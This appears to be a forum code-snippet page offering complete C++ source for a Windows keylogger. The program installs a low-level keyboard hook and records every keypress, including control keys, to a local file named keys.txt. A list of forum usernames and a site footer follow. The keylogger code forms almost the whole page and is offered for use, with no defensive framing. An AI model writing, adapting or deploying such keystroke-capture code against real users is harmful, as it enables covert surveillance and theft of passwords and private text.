A program that uses hooks to detect keypresses and write them to a file.
Keylogger using window hooks
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_SHIFT: out << "<SHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;
// Visible keys
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
out.close();
return 0;
}
t3ch|\/|4n 0 Newbie Poster
tux4life 2,072 Postaholic
Silvershaft 2 Junior Poster
Rajesh R Subram 127 Junior Poster in Training
Silvershaft 2 Junior Poster
Rajesh R Subram 127 Junior Poster in Training
Silvershaft 2 Junior Poster
Rajesh R Subram 127 Junior Poster in Training
Silvershaft 2 Junior Poster
Devoney 22 Newbie Poster
+_+man 0 Light Poster Banned
hons_love 0 Newbie Poster
hons_love 0 Newbie Poster
William Hemsworth 1,339 Posting Virtuoso
hons_love 0 Newbie Poster
hons_love 0 Newbie Poster
William Hemsworth 1,339 Posting Virtuoso
hons_love 0 Newbie Poster
J_4 0 Newbie Poster
Be a part of the DaniWeb community
We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.